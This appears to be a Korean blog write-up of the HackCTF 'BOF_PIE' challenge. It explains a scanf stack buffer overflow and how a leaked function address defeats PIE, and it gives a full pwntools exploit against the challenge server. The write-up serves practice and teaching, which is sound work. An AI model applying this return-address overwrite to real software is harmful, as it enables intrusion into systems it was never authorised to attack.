[HackCTF] BOF_PIE
System/PWNABLE

[HackCTF] BOF_PIE

728x90

check

- 32 bit

- NX와 PIE가 설정되어 있다 >>

Analyze

pseudo code

main 함수
welcome 함수

- v1에 ebp로부터 0x12 byte 떨어진 곳에 할당하고 scanf("%s")를 통해 v1의 값을 읽어들인다. 이 때 스택 버퍼 오버플로우 취약성이 발생한다.

- welcome 함수의 주소를 출력한다. 

함수 리스트에서 찾은 수상해보이는 함수 j0n9hyun

- 아무래도 이 문제의 목표는 Return address를 j0n9hyun으로 하여 플래그를 따는 것 같다!

- welcome 함수의 주소가 매번 출력되기 때문에 그 값을 읽어들이고, j0n9hyun과 welcome의 offset은 항상 같으므로 둘의 차(0x909 - 0x890)를 이용해 j0n9hyun함수를 Return address로 덮는다.

실행

Exploit

from pwn import *
#p = process("./bof_pie")
p = remote("ctf.j0n9hyun.xyz", 3008)

p.recvuntil("j0n9hyun is ")
welcome = int(p.recv(10), 16)
j0n9hyun = welcome - (0x909-0x890)

pl = "A"*(0x12+4)
pl += p32(j0n9hyun)

p.sendline(pl)
p.interactive()

! 성공 ! 바로 flag를 띄운후 종료된다

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] RTL_World  (0) 2021.02.11
[HackCTF] Yes or No  (0) 2021.02.11
[HackCTF] BASIC_FSB  (0) 2021.02.10
[HackCTF] Simple_Overflow_ver_2  (0) 2021.02.09
[HackCTF] x64 Simple_size_BOF  (0) 2021.02.09